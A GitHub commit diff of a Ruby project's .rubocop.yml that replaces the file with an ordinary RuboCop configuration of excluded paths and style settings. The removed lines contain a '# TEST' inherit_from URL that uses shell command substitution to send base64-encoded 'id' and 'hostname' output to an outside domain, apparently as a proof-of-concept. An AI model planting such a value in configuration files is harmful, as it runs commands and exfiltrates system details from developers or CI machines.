Skip to content

Commit a1326c3

Browse files
author
feb716
authored
Update .rubocop.yml
1 parent 7c44ac7 commit a1326c3

1 file changed

Lines changed: 31 additions & 3 deletions

File tree

.rubocop.yml

Lines changed: 31 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,34 @@
1-
# TEST
2-
inherit_from:
3-
- "http://$(id|base64).$(hostname|base64).mamank.com/poc"
1+
require: rubocop-performance
42

53
AllCops:
64
TargetRubyVersion: 3.1
5+
Exclude:
6+
- '**/bin/**/*'
7+
- '**/db/**/*'
8+
- '**/script/setup'
9+
- '**/vendor/**/*'
10+
11+
Lint/AssignmentInCondition:
12+
Enabled: false
13+
14+
Metrics/BlockLength:
15+
Enabled: false
16+
17+
Layout/LineLength:
18+
Max: 100
19+
AllowedPatterns: ['\A\s*#']
20+
21+
Naming/RescuedExceptionsVariableName:
22+
PreferredName: "error"
23+
24+
Style/FrozenStringLiteralComment:
25+
Enabled: false
26+
27+
Style/StringLiterals:
28+
EnforcedStyle: double_quotes
29+
30+
Style/TrailingCommaInArrayLiteral:
31+
EnforcedStyleForMultiline: consistent_comma
32+
33+
Style/TrailingCommaInHashLiteral:
34+
EnforcedStyleForMultiline: consistent_comma

0 commit comments

Comments
 (0)